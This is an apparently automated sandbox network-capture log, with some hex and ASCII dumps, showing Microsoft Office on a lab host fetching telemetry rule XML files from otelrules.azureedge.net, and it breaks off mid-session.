69 3d 52 2c 61 3d 28 34 3d 3d 3d 6e 26 26 28 72 3d 6f 65 2c 69 3d 4f 29 2c 21 31 29 3b 72 3c 69 3f 61 3d 21 43 28 65 2c Data Ascii: )),e[lv]&&(e[lv]=ea(e[lv])))}function a(e,t){if(e[yv]\|\|(e[yv]=0),e[Cv]\|\|(e[Cv]=1),l(e),e[bv])if(U\|\|ae)e[Cv]=3,e[bv]=!1;else if(H)return W&&(e=ea(e)),H[rv](Ev.create(e[Ig],[e]),!0===e[bv]?1:e[bv],3);var n=e[Cv],r=ce,i=R,a=(4===n&&(r=oe,i=O),!1);r<i?a=!C(e,

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.10	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:30 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:30 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:30 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 23c3770b-601e-0084-293a-3c6b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074430Z-178bfbc474bp8mkvhC1NYCzqnn00000005dg00000000cdp9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:30 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.10	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:30 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:30 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:30 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: 38badaf1-c01e-00ad-2128-3da2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074430Z-178bfbc474bw8bwphC1NYC38b400000005gg000000005kq2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:30 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.10	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:30 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:31 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:31 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 119e228c-001e-0046-1663-3bda4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074431Z-178bfbc474bfw4gbhC1NYCunf400000005ng000000008fdh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:31 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.10	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:30 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:31 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:31 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: da294107-101e-000b-45e2-3d5e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074431Z-178bfbc474bwlrhlhC1NYCy3kg00000005ng000000008115 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:31 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.10	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:30 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:31 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:31 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: efcbc6c0-c01e-008d-3f44-3c2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074431Z-15b8b599d885ffrhhC1TEBtuv0000000044000000000eaff x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:31 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.10	49867	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:32 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:32 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:32 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 2df0f233-b01e-0084-4f11-3dd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074432Z-178bfbc474b9xljthC1NYCtw9400000005mg000000004dxm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:32 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.10	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:32 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:32 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:32 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: ff0b0d52-c01e-002b-2681-3b6e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074432Z-174c587ffdftv9hphC1TEBm29w000000043g0000000056cr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:32 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.10	49869	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:33 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:33 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:33 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: f909f157-c01e-0049-018c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074433Z-174c587ffdfmlsmvhC1TEBvyks00000004a0000000006pgf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:33 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.10	49870	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:33 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:33 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:33 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 7b3b97af-701e-003e-795c-3d79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074433Z-178bfbc474bscnbchC1NYCe7eg00000005w0000000002wpa x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:33 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.10	49871	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:33 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:33 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:33 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 26bf21ad-f01e-001f-285c-3d5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074433Z-15b8b599d88z9sc7hC1TEBkr4w000000046g00000000cg37 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:33 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.10	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:34 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:35 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:34 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 1a99a412-f01e-0099-613c-3c9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074434Z-174c587ffdfldtt2hC1TEBwv9c00000003x000000000eu00 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:35 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.10	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:35 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:35 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:35 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: bfe6e8fa-201e-006e-3f8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074435Z-174c587ffdfl22mzhC1TEBk40c00000004a0000000006td8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
